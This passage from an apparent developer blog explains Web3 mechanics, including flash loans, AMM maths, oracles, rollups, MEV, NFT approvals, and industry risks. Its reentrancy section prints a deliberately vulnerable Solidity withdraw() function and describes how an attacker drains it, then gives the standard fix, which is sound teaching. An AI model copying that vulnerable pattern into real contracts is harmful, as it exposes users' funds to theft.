&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The one liquidating you isn&apos;t some official body — it&apos;s a &lt;strong&gt;third-party arbitrage bot trying to earn that 5% penalty&lt;/strong&gt;. It&apos;s a self-maintaining system built on greed&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7.6 Flash Loans&lt;/h2&gt;
&lt;p&gt;In Web3 there is exactly one situation where you can borrow hundreds of millions &lt;strong&gt;without putting up a single cent&lt;/strong&gt;. It&apos;s called a &lt;strong&gt;flash loan&lt;/strong&gt;
It&apos;s also the technique behind many hacker attacks&lt;/p&gt;
&lt;p&gt;But it has an extremely hardcore physical constraint: &lt;strong&gt;atomicity&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You write a smart contract containing three steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Borrow $100 million from Aave (no collateral)&lt;/li&gt;
&lt;li&gt;Use that $100 million to speculate, arbitrage, or shuffle funds around (whatever you like)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Before the same transaction ends, you must repay the money with interest&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What if you lose money in step 2 and can&apos;t repay in step 3?
&lt;strong&gt;The EVM declares the transaction failed and rolls back the entire process&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It&apos;s as if time ran backwards:&lt;/strong&gt;
In the history of the blockchain, you never borrowed that money, and the $100 million never left the vault. You only pay a tiny bit of Gas to prove that you once &lt;em&gt;tried&lt;/em&gt; to do it&lt;/p&gt;
&lt;p&gt;So even with a flash loan, you &lt;strong&gt;cannot abscond with the funds&lt;/strong&gt;, because if you don&apos;t repay, the loan simply &lt;strong&gt;does not exist&lt;/strong&gt; on the physical timeline&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;8. Automated Market Makers&lt;/h2&gt;
&lt;p&gt;In Web3, to save on expensive storage fees (storing tens of thousands of orders on-chain is far too costly), we invented &lt;strong&gt;$x \times y = k$&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;8.1 The Constant Product Formula, CPMM&lt;/h3&gt;
&lt;p&gt;This is an extremely elegant mathematical model. It needs no market maker placing orders; as long as there&apos;s a liquidity pool, trading is possible&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Model&lt;/strong&gt;: a pool holds two assets, A (quantity $x$) and B (quantity $y$)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Iron rule&lt;/strong&gt;: before and after a trade, the product of the two quantities in the pool, $k$, must stay unchanged (ignoring fees)
$$ x_{\text{old}} \times y_{\text{old}} = k = x_{\text{new}} \times y_{\text{new}} $$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.2 Deriving the Interaction&lt;/h3&gt;
&lt;p&gt;Say the pool holds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ETH ($x$): 10&lt;/li&gt;
&lt;li&gt;USDC ($y$): 30,000&lt;/li&gt;
&lt;li&gt;Current price: 3000 USDC/ETH&lt;/li&gt;
&lt;li&gt;$k = 10 \times 30,000 = 300,000$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You want to buy 1 ETH with USDC&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You send some USDC to the contract (call it $\Delta y$)&lt;/li&gt;
&lt;li&gt;You want to take out 1 ETH ($\Delta x = 1$)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Calculation&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;ETH remaining in the pool must be: $x_{\text{new}} = 10 - 1 = 9$&lt;/li&gt;
&lt;li&gt;To keep $k=300,000$, the USDC in the pool must become:
$$ y_{\text{new}} = \frac{300,000}{9} = 33,333.33 $$&lt;/li&gt;
&lt;li&gt;So the USDC you must put in ($\Delta y$) is:
$$ \Delta y = y_{\text{new}} - y_{\text{old}} = 33,333.33 - 30,000 = 3,333.33 $$&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;The initial price was 3000, but buying this 1 ETH actually cost you 3333.33&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Slippage&lt;/strong&gt;: this single trade pushed the price from 3000 up to 3333. The more you buy, the more expensive the unit price. This is the &lt;strong&gt;automatic adjustment of the supply and demand curve&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.3 Impermanent Loss&lt;/h3&gt;
&lt;p&gt;This is the mathematical trap every &lt;strong&gt;liquidity provider (LP)&lt;/strong&gt; has to understand&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;When you deposit ETH/USDC into a pool to make a market, if ETH skyrockets, your ETH gets bought out by arbitrageurs (because it&apos;s cheap in the pool), and you&apos;re left holding nothing but depreciating USDC&lt;/li&gt;
&lt;li&gt;Automatically selling rising assets and buying falling ones. This is a &lt;strong&gt;short volatility&lt;/strong&gt; strategy&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;9. How Oracles Are Implemented&lt;/h2&gt;
&lt;p&gt;The biggest flaw of a smart contract is &lt;strong&gt;that it&apos;s blind&lt;/strong&gt;
The EVM is deterministic and cannot make HTTP requests (such as &lt;code&gt;GET binance.com/price&lt;/code&gt;), because different nodes requesting at different times might get different results, and consensus would collapse&lt;/p&gt;
&lt;p&gt;So how does Chainlink bring the real world onto the blockchain?&lt;/p&gt;
&lt;h3&gt;9.1 Architectural Design&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;On-chain part&lt;/strong&gt;: a simple storage contract&lt;pre&gt;&lt;code&gt;contract PriceFeed {
    int256 public price;
    function updatePrice(int256 _price) public { ... }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Off-chain part, Oracle Nodes&lt;/strong&gt;: hundreds of independently operated servers listening to exchange APIs&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;9.2 How Data Gets On-Chain&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Aggregation&lt;/strong&gt;: 21 nodes each fetch the ETH price from Binance and Coinbase
&lt;ul&gt;
&lt;li&gt;Node A: 3001&lt;/li&gt;
&lt;li&gt;Node B: 3002&lt;/li&gt;
&lt;li&gt;Node C: 2999&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Consensus&lt;/strong&gt;: they sign the data off-chain (over an Off-chain P2P network) and take the &lt;strong&gt;median&lt;/strong&gt;. The median filters out individual malicious quotes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Writing&lt;/strong&gt;: one designated node sends this final data package, bearing 21 signatures, to the on-chain contract&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification&lt;/strong&gt;: the on-chain contract verifies that the number of signatures meets the threshold, then updates the &lt;code&gt;price&lt;/code&gt; variable&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is why DeFi lending protocols depend on Chainlink. If Chainlink were hacked, every lending protocol would suffer cascading liquidations due to bad prices&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10. Scaling&lt;/h2&gt;
&lt;p&gt;Ethereum L1 is too expensive and too slow (TPS ~15). We need to scale without sacrificing security, so Rollups were invented&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The core idea&lt;/strong&gt; is &lt;strong&gt;execute computation off-chain, store the results and proofs on-chain&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;10.1 Optimistic Rollups&lt;/h3&gt;
&lt;p&gt;Examples: Arbitrum, Optimism.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;How it works&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;L2 nodes run transactions off-chain at high speed&lt;/li&gt;
&lt;li&gt;Every few minutes, thousands of transactions are compressed and a new &lt;strong&gt;State Root&lt;/strong&gt; is computed&lt;/li&gt;
&lt;li&gt;This Root is published to Ethereum L1&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Optimistic assumption&lt;/strong&gt;: L1 assumes the Root is correct by default and accepts it directly&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fraud Proof&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;If, within the &lt;strong&gt;7-day challenge period&lt;/strong&gt;, someone finds that the Root is wrong (the L2 node secretly altered a balance, say)&lt;/li&gt;
&lt;li&gt;The challenger submits mathematical evidence to L1&lt;/li&gt;
&lt;li&gt;L1 re-executes that &lt;strong&gt;single&lt;/strong&gt; transaction. If it indeed turns out wrong, the L2 node has its deposit slashed and the state is rolled back&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost&lt;/strong&gt;: withdrawals must wait 7 days, which is the challenge period — think of it as a cooling-off period&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;10.2 Zero-Knowledge Rollups&lt;/h3&gt;
&lt;p&gt;Examples: zkSync, Starknet&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;How it works&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;L2 nodes package transactions&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mathematical magic&lt;/strong&gt;: generate a &lt;strong&gt;zero-knowledge proof (SNARK/STARK)&lt;/strong&gt;. This proof uses cryptography to guarantee: the 1000 transactions I just executed really did produce the new Root through their state changes, with absolutely no tampering&lt;/li&gt;
&lt;li&gt;Submit the Root + proof to L1&lt;/li&gt;
&lt;li&gt;L1&apos;s verification contract checks the proof. If it passes, the state is confirmed immediately&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advantage&lt;/strong&gt;: it is &lt;strong&gt;mathematical truth&lt;/strong&gt;, so there&apos;s no need to wait 7 days&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disadvantage&lt;/strong&gt;: generating the proof is extremely CPU-intensive&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;11. The Dark Forest&lt;/h2&gt;
&lt;p&gt;In Web3, &lt;strong&gt;hacking isn&apos;t about bypassing a firewall — it&apos;s about calling your code legitimately&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;11.1 Reentrancy Attack&lt;/h3&gt;
&lt;p&gt;This was the culprit behind The DAO incident (which caused Ethereum to fork)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example of vulnerable code&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function withdraw() public {
    uint bal = balances[msg.sender];
    require(bal &amp;gt; 0);
    
    // 1. 转账 
    (bool success, ) = msg.sender.call{value: bal}(&quot;&quot;);
    
    // 2. 扣余额 
    balances[msg.sender] = 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;How the attack works&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The hacker writes a &lt;strong&gt;malicious contract&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The hacker calls &lt;code&gt;withdraw()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When the target contract reaches &lt;code&gt;msg.sender.call&lt;/code&gt; (the transfer), it triggers the malicious contract&apos;s &lt;code&gt;fallback&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;Inside the malicious contract&apos;s &lt;code&gt;fallback&lt;/code&gt; function is a line of code: &lt;strong&gt;call the target contract&apos;s &lt;code&gt;withdraw()&lt;/code&gt; again&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;At this point, step 2 of the target contract (zeroing the balance) hasn&apos;t executed yet, so &lt;code&gt;bal &amp;gt; 0&lt;/code&gt; still holds&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Result&lt;/strong&gt;: recursively, the hacker withdraws the money again and again until the pool is drained, and only then does the balance get zeroed&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;How to defend?&lt;/strong&gt;: the checks-effects-interactions pattern (deduct first, transfer after)&lt;/p&gt;
&lt;h3&gt;11.2 Front-Running and Sandwich Attacks, MEV&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;The mempool&lt;/strong&gt; is completely public. Miners/validators have god&apos;s-eye view&lt;/p&gt;
&lt;p&gt;You send a transaction: buy ETH with 1000 USDC. This large order will push the ETH price up 1%&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An attacker (Searcher Bot)&lt;/strong&gt; spots this transaction:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Front-run&lt;/strong&gt;: the bot sends a transaction buying ETH with a higher Gas fee than yours. Miners package its transaction first.
&lt;ul&gt;
&lt;li&gt;As a result, the bot raises the price before you buy&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your transaction executes&lt;/strong&gt;: you buy ETH at a higher price (you lose out). The price is pushed up further&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Back-run&lt;/strong&gt;: the bot sells ETH right after your transaction
&lt;ul&gt;
&lt;li&gt;As a result, the bot buys low and sells high, eating your slippage&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is &lt;strong&gt;Maximal Extractable Value&lt;/strong&gt;. It&apos;s an inevitable side effect of the blockchain being a public, transparent ledger&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12. NFT&lt;/h2&gt;
&lt;p&gt;You probably also think an NFT is just buying a picture — that&apos;s the biggest misunderstanding
You spend hundreds of thousands on a monkey avatar, and &lt;strong&gt;what you bought isn&apos;t the picture at all&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.1 The Core Principle&lt;/h3&gt;
&lt;p&gt;Imagine you pay for the naming rights to a star&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Do you get the star?&lt;/strong&gt; No — the star is still up in the sky, anyone can look at it, anyone can photograph it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;So what did you buy?&lt;/strong&gt; You bought a &lt;strong&gt;piece of paper&lt;/strong&gt; that says: the star at coordinates ~ now belongs to Chongxi&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Who recognizes this piece of paper?&lt;/strong&gt; Suppose there is an &lt;strong&gt;astronomical ledger recognized by all of humanity and absolutely impossible to alter&lt;/strong&gt; (the blockchain), and it is the only copy in the world&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;An NFT is one line of text in that great ledger:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The thing numbered #8888 belongs to #your wallet address&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As for whether that #8888 is a picture, a song, or a dragon-slaying sword in a game, the blockchain genuinely doesn&apos;t care. It only cares about &lt;strong&gt;establishing ownership&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.2 Why Isn&apos;t Bitcoin an NFT?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bitcoin (fungible) = banknotes&lt;/strong&gt;
The hundred-yuan note in your hand and the one in mine are exactly the same. Swap them and nothing changes. That&apos;s what fungible means&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NFT (non-fungible) = property deed&lt;/strong&gt;
Yours is a ticket for row 1, seat 1; mine is a ticket for the last row, by the toilet door
They&apos;re both tickets, but they&apos;re worth completely different amounts and can&apos;t be freely swapped. That&apos;s what non-fungible means&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So on the blockchain, Bitcoin only records how many coins you have&lt;br /&gt;
Whereas an NFT must record &lt;strong&gt;which specific number you own&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.3. The Biggest Lie&lt;/h3&gt;
&lt;p&gt;The most absurd and also most technical aspect of NFTs&lt;/p&gt;
&lt;p&gt;Because blockchain space is worth its weight in gold. To store an ordinary 1MB high-res image on the Ethereum chain, the gas fee alone might cost &lt;strong&gt;tens of thousands, even hundreds of thousands of yuan&lt;/strong&gt; — not even a wealthy project team could afford it&lt;/p&gt;
&lt;p&gt;So what do they do? &lt;strong&gt;Store a link&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Your NFT actually contains just one line of something like a URL:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TokenURI: https://.../oiiaoii.jpg&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;The brutal part:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The NFT you paid a million for is just one line of code on the blockchain, and that line of code &lt;strong&gt;points to&lt;/strong&gt; an image on some server&lt;/li&gt;
&lt;li&gt;If the project team can&apos;t afford to renew the server, or they run off and shut it down, your NFT is still on-chain, but that URL no longer opens&lt;/li&gt;
&lt;li&gt;The result is that the property deed you paid a million for turns into a &lt;strong&gt;blank sheet of paper&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;The solution&lt;/strong&gt;
Reputable projects nowadays store images on &lt;strong&gt;IPFS&lt;/strong&gt; (a kind of decentralized hard drive)
What makes IPFS special is this: as long as even one computer in the world still holds the image, the link stays valid forever. It&apos;s like pointing the property deed at a library that will never go out of business&lt;/p&gt;
&lt;h3&gt;12.4 What Ownership Means&lt;/h3&gt;
&lt;p&gt;What annoys people most is this: I can download this picture too, I can set it as my avatar, so why should it cost a million?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You go to the Louvre; you can photograph the &lt;em&gt;Mona Lisa&lt;/em&gt;, print the photo and hang it at home, even paint a copy clearer than the original&lt;/li&gt;
&lt;li&gt;But &lt;strong&gt;when you take the photo to Sotheby&apos;s, nobody will pay you any attention&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Only the person holding the certificate of authenticity can sell the painting for a sky-high price&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the world of Web3, everyone&apos;s wallet is transparent
Whether you own this NFT or not, one lookup on-chain tells anyone the answer&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;You downloaded the picture and set it as your avatar&lt;/strong&gt; — people check your wallet, find it empty, and see it&apos;s pure posturing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;You bought the NFT and set it as your avatar&lt;/strong&gt; — people check your wallet, find a real record, and think &lt;em&gt;damn, a veteran&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The value of an NFT lies not in &lt;em&gt;looking&lt;/em&gt;, but in &lt;strong&gt;the bragging rights verified by the entire network&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;12.5 The Approval Mechanism&lt;/h3&gt;
&lt;p&gt;When you sell an NFT on a marketplace, you&apos;ll notice you don&apos;t need to transfer the NFT to the platform
So how can the platform automatically sell your NFT to someone else while you&apos;re asleep?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;It uses a mechanism similar to a real-estate agent:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Approval:&lt;/strong&gt;
The first time you list it, your wallet pops up a window asking you to confirm.
This step is actually signing a &lt;strong&gt;power of attorney&lt;/strong&gt; on-chain:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I authorize Opensea, this agent, to freely use the property deed named #8888 in my wallet at any time&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Signature:&lt;/strong&gt;
You fill in a price: 10 ETH
This step is actually you writing a &lt;strong&gt;note&lt;/strong&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Whoever gives me 10 ETH, the agent hands them the property deed
This note doesn&apos;t go on-chain; it&apos;s just posted on Opensea&apos;s server (to save on fees)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Closing:&lt;/strong&gt;
A buyer shows up and likes it. The buyer gives 10 ETH to Opensea&apos;s smart contract
The contract takes your &lt;strong&gt;power of attorney&lt;/strong&gt;, &lt;strong&gt;grabs&lt;/strong&gt; the NFT straight out of your wallet, shoves it into the buyer&apos;s hands, and pays you at the same time&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Why is it that so many people click a link and their NFT is gone?
Because the phishing site the scammers built, disguised as a giveaway page, pops up a confirmation box that is actually &lt;strong&gt;a power of attorney with the highest privileges&lt;/strong&gt;
The moment you click confirm, the scammer has the right to empty out every NFT you own, without ever needing to know your password&lt;/p&gt;
&lt;h2&gt;13. The Truth&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Talking only about disruption and not risk makes you a liar; talking only about the vision and not the present makes you a con artist&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Today&apos;s Web3 is deeply split. On one side is brilliant mathematics and exquisite architecture; on the other is scams everywhere and inefficient duplicated construction&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The whole world is building roads (public chains): ten thousand highways have been laid, but the only things driving on them are a few toy cars (apps), and everyone sitting in those cars is a gambler hoping to pick up cash along the road&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why is it like this? It&apos;s caused by a &lt;strong&gt;misalignment of incentives&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Issuing a public chain is far too profitable:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If you develop an app (a decentralized YouTube, say), you have to grind away at operating users, and monetization is extremely difficult&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;But if you develop a public chain (Layer 1 / Layer 2), issue a coin, and tell a story about being a faster Ethereum, capital will pour in like crazy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This means engineers don&apos;t go solve real-world pain points; they grind furiously over TPS (transactions per second). Public chain performance has long been excessive — what&apos;s missing is people using them&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Ethereum, Solana, Aptos, Sui... every chain is a separate country. Moving user assets across chains is extremely hard, and the experience is terrible. It&apos;s like how using WeChat still means separate Android and iOS versions, and the account data on the two sides isn&apos;t even shared&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Real DApps never took off:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Only three categories of decentralized application are still active: &lt;strong&gt;lending (DeFi), gambling (GameFi), and flipping pictures (NFT)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;No consumer-grade application that genuinely changes ordinary people&apos;s lives, like Uber or WeChat, has appeared&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to enter the industry or invest, you must face these four horsemen of death head-on&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A. Irreversible technical death&lt;/strong&gt;
In Web2, if WeChat crashes it can be fixed; if Alipay gets hacked, the data can be rolled back
In Web3, &lt;strong&gt;Code is Law&lt;/strong&gt; is a double-edged sword&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sent money to the wrong address? &lt;strong&gt;Gone forever&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Lost your private key? &lt;strong&gt;Nobody can save you&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Smart contract had a bug and got drained by hackers? &lt;strong&gt;That was &lt;em&gt;legitimate&lt;/em&gt; code execution; nobody will compensate you&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;For ordinary users, the psychological burden of this self-sovereignty is too heavy. Many people simply can&apos;t handle that kind of freedom&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;B. Ponzi and bubbles&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;90% of Web3&apos;s token economic models (Tokenomics) are essentially &lt;strong&gt;Ponzi schemes&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Play-to-Earn:&lt;/strong&gt; where does the money come from? From the players who join later. Once no new players come in, the coin price instantly goes to zero (as with Axie Infinity)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High-yield mining:&lt;/strong&gt; promising 100% annual returns? That&apos;s just the inflation coins they printed being handed to you&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Air coins:&lt;/strong&gt; no cash flow, no earning power; the market cap rests entirely on consensus (that is, sentiment). The moment sentiment collapses, the value is zero&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;C. The regulatory hammer&lt;/strong&gt;
The biggest gray rhino&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Anti-money laundering (AML):&lt;/strong&gt; as long as regulators cut off the fiat on/off ramps (making banks refuse to transfer to exchanges), Web3 becomes a self-absorbed LAN, and liquidity dries up&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Securities classification:&lt;/strong&gt; if the US SEC rules that most tokens are securities, then all exchanges will need licenses, and most project teams will go to prison or pay massive fines&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;D. Centralization in disguise&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Many projects that call themselves &quot;decentralized&quot; actually have their control in a 3-of-N multisig wallet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The server is on AWS&lt;/li&gt;
&lt;li&gt;The frontend is on Cloudflare&lt;/li&gt;
&lt;li&gt;Even the nodes are run by the project team themselves&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Once something goes wrong, it&apos;s more dangerous than a bank, because banks are regulated and they are not&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;14. Gold Beneath the Foam&lt;/h2&gt;
&lt;p&gt;If it&apos;s all problems, why study it at all? Why are the world&apos;s top elites, the smartest brains on Wall Street and in Silicon Valley, still rushing in?&lt;/p&gt;
&lt;p&gt;Because &lt;strong&gt;beneath the foam, a change at the physical level has already happened&lt;/strong&gt;. Just as the dot-com bubble burst in 2000 and Pets.com died, but the internet remained&lt;/p&gt;
&lt;h3&gt;14.1. The Payment Revolution&lt;/h3&gt;
&lt;p&gt;This is currently Web3&apos;s only genuinely large-scale application&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In countries with severe inflation such as Argentina, Turkey and Nigeria, ordinary people convert their savings into USDT/USDC and keep them on their phones&lt;/li&gt;
&lt;li&gt;This isn&apos;t for speculating on coins; it&apos;s for &lt;strong&gt;survival&lt;/strong&gt;. It gives an African with no US bank account the right to hold dollar-denominated assets. That&apos;s a first in human history&lt;/li&gt;
&lt;li&gt;Remittances today take days and charge high fees; on-chain transfers take seconds, cost pennies, and run around the clock. The banking system&apos;s SWIFT is destined to be phased out&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.2 Asset Tokenization&lt;/h3&gt;
&lt;p&gt;Stop flipping your junk pictures; the future is about flipping &lt;strong&gt;the real world&lt;/strong&gt;, mapping US Treasuries, real estate and stocks onto the chain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*   You can sell your 100 yuan of US Treasuries at 3 a.m. on a Sunday and turn it into a cup of coffee
*   You can buy 0.0001 of the rental income rights to a building in New York.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The logic:&lt;/strong&gt; it&apos;s not about decentralization, it&apos;s about &lt;strong&gt;liquidity&lt;/strong&gt; and &lt;strong&gt;globalization&lt;/strong&gt;. Giants like BlackRock are entering; this is the trillion-dollar market&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.3 Data Sovereignty and Digital Identity&lt;/h3&gt;
&lt;p&gt;This is the only weapon against the AI era&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In the AI era, how do you prove you&apos;re human? How do you prove that this work was painted by you and not generated by AI?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web3&apos;s answer:&lt;/strong&gt; your private key signature is an unforgeable digital fingerprint&lt;/li&gt;
&lt;li&gt;Your social connections, your medical data, your creative output no longer live on Tencent&apos;s or Google&apos;s servers; they&apos;re encrypted and stored on IPFS, with the key in your hands. Any app that wants to use the data must get your authorization (and might even have to pay!)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;14.4 Frictionless Global Collaboration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DAOs today are messy, but the &lt;strong&gt;code-level company&lt;/strong&gt; is an advanced form&lt;/li&gt;
&lt;li&gt;No finance department (automatic on-chain accounting), no cross-border transfer obstacles, salaries paid automatically according to contribution (code commits/votes). For open-source communities and global organizations, it&apos;s a game-changer&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;15. Conclusion&lt;/h2&gt;
&lt;p&gt;My view of Web3 as an &lt;strong&gt;individual developer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In Web2, we believe the server admin is benevolent: &lt;code&gt;Don&apos;t be evil&lt;/code&gt;
